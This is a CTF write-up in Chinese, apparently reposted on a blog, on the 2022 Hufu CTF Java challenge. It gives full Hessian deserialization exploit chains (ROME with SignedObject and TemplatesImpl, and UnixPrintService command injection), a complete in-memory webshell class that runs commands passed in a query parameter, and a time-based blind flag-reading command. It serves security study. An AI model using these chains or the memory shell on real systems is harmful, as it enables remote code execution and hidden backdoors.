51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

2022虎符CTF-Java部分

2022虎符CTF-Java部分 {#2022虎符CTF-Java部分}

写在前面 {#写在前面}

​ 非小白文,代码基于marshalsec项目基础上进行修改

正文 {#正文}

​ 本身我是不太懂hessian的反序列化,大概去网上搜了一下配合ROME利用的思路(如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME),这里不清楚可以看看ROME利用链以及hessian反序列化的一些简单东西

​ 首先简单看下docker,可以看到会导致不能出网

|---------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | version: '2.4' services: nginx: image: nginx:1.15 ports: - "0.0.0.0:8090:80" restart: always volumes: - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro networks: - internal_network - out_network web: build: ./ restart: always volumes: - ./flag:/flag:ro networks: - internal_network networks: internal_network: internal: true ipam: driver: default out_network: ipam: driver: default |

nginx.conf

|---------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | server { listen 80; server_name localhost; location / { root /usr/share/nginx/html; index index.html index.htm; proxy_pass http://web:8090; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } } |

利用一:SignedObject实现二次反序列化 {#利用一:SignedObject实现二次反序列化}

既然不出网那就无法配合JNDI去利用了(网上主流的利用),后面尝试了TemplatesImpl,在Hessian的一些限制下(有空自己去看源码),导致被transient修饰的_tfactory对象无法写入造成空指针异常,为什么呢,自己看图可以看到不仅仅是被transient修饰,同时静态变量也不行,这里导致另一个利用链不能打,这里不提

之后解决思路就是找个二次反序列化的点触发原生反序列化即可,最后找到个java.security.SignedObject#SignedObject,里面的getObject可以触发

|---------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | public Object getObject() throws IOException, ClassNotFoundException { // creating a stream pipe-line, from b to a ByteArrayInputStream b = new ByteArrayInputStream(this.content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj; } |

这时候聪明的你一定想问,为什么原生反序列化就可以恢复这个trasient修饰的变量呢,答案如下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject,重写了readOBject方法

因此得到下面简单的payload,下面payload有一些地方还可以完善变得更好,但是我懒

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | package marshalsec; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ObjectBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import marshalsec.gadgets.JDKUtil; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.Base64; import java.util.HashMap; import static marshalsec.util.Reflections.setFieldValue; public class Test { public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get("Yyds").toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","abc"); setFieldValue(templates,"_class",null); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes",new byte[][]{code}); ToStringBean bean = new ToStringBean(Templates.class,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); setFieldValue(badAttributeValueExpException,"val",bean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject so = null; so = new SignedObject(badAttributeValueExpException, privateKey, signingEngine); ObjectBean delegate = new ObjectBean(SignedObject.class, so); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); HashMap<Object, Object> map = JDKUtil.makeMap(root, root); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(map); output.getBytesOutputStream().flush(); output.completeMessage(); output.close(); System.out.println(new String(Base64.getEncoder().encode(os.toByteArray()))); } } |

这样就可以实现执行反序列化打TemplatesImpl加载恶意代码了,接下来既然不出网,比较方便的就是去注入内存马

按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()Thread.getThreads()获取,按照这个思路写就行了

我是懒狗之间暴力替换handler(继承AbstractTranslet实现HttpHandler),嫌弃麻烦可以自己加路由可以让代码更短,还可以放到静态块防止触发两次,一句话我懒自己改去

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | import com.sun.net.httpserver.HttpContext; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.*; import java.lang.reflect.Field; public class Yyds extends AbstractTranslet implements HttpHandler { public void handle(HttpExchange t) throws IOException { String response = "Y4tacker's MemoryShell"; String query = t.getRequestURI().getQuery(); String[] var3 = query.split("="); System.out.println(var3[0]+var3[1]); ByteArrayOutputStream output = null; if (var3[0].equals("y4tacker")){ InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream(); output = new ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int n = 0; while (-1 != (n = inputStream.read(buffer))) { output.write(buffer, 0, n); } } response+=("\n"+new String(output.toByteArray())); t.sendResponseHeaders(200, (long)response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Yyds() throws Exception { super(); try{ Object obj = Thread.currentThread(); Field field = obj.getClass().getDeclaredField("group"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("threads"); field.setAccessible(true); obj = field.get(obj); Thread[] threads = (Thread[]) obj; for (Thread thread : threads) { if (thread.getName().contains("Thread-2")) { try { field = thread.getClass().getDeclaredField("target"); field.setAccessible(true); obj = field.get(thread); System.out.println(obj); field = obj.getClass().getDeclaredField("this$0"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("contexts"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("list"); field.setAccessible(true); obj = field.get(obj); java.util.LinkedList lt = (java.util.LinkedList)obj; Object o = lt.get(0); field = o.getClass().getDeclaredField("handler"); field.setAccessible(true); field.set(o,this); }catch (Exception e){ e.printStackTrace(); } } } }catch (Exception e){ } } } |

其实可以去静态块改一下,不然执行两次多多少少有点烦,就这样了so easy

当然太暴力了也不好哈哈哈,还可以在上面的sun.net.httpserver.ServerImpl$Dispatcher直接执行sun.net.httpserver.ServerImpl#createContext(java.lang.String, com.sun.net.httpserver.HttpHandler)创建新的路由即可

这里就不写了,一个字懒,反正也不难

实现效果 {#实现效果}

利用二:UnixPrintService直接执行命令 {#利用二:UnixPrintService直接执行命令}

之前不清楚,后面@wuyx师傅提醒我才发现可以不用实现序列化接口,具体可以参考marshalsec的实现

|---------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 | HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); output.setSerializerFactory(sf); |

sun.print.UnixPrintService的所有get方法都能触发,别看这个是Unix其实linux也有,在高版本被移除(有兴趣自己考古),利用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)

它会去找public修饰的getter方法,而为什么会调用哪个私有方法其实也很简单比如说getAttributes里面就调用了这些触发命令执行的私有方法

|---------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | public PrintServiceAttributeSet getAttributes() { HashPrintServiceAttributeSet var1 = new HashPrintServiceAttributeSet(); var1.add(this.getPrinterName()); var1.add(this.getPrinterIsAcceptingJobs()); PrinterState var2 = this.getPrinterState(); if (var2 != null) { var1.add(var2); } PrinterStateReasons var3 = this.getPrinterStateReasons(); if (var3 != null) { var1.add(var3); } var1.add(this.getQueuedJobCount()); return AttributeSetUtilities.unmodifiableView(var1); } |

|---------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class); declaredConstructor.setAccessible(true); ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class, declaredConstructor.newInstance(";open -na Calculator")); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); HashMap<Object, Object> map = JDKUtil.makeMap(root, root); // ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); output.setSerializerFactory(sf); output.writeObject(map); output.getBytesOutputStream().flush(); output.completeMessage(); output.close(); System.out.println(new String(Base64.getEncoder().encode(os.toByteArray()))); |

拿flag的话就两种方式JavaAgent注入内存马,或者本来就是ctf

|-----------|------------------------------------------------------| | 1 | if [ `cut -c 1 flag` = "a" ];then sleep 2;fi |

如何快速拿利用链 {#如何快速拿利用链}

在这次比赛后我简单学习了下用tabby,通过下面的neo4j查询语句,之后人工排查下

|-----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | match path=(m1:Method)-[:CALL*..3]->(m2:Method {}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and (m2.NAME =~ "exec.*" or m2.NAME =~ "readObject") return path |

利用一:

利用二:

总的来说还是学的挺多,挺有收获的一个比赛

赞(2)
未经允许不得转载:工具盒子 » 2022虎符CTF-Java部分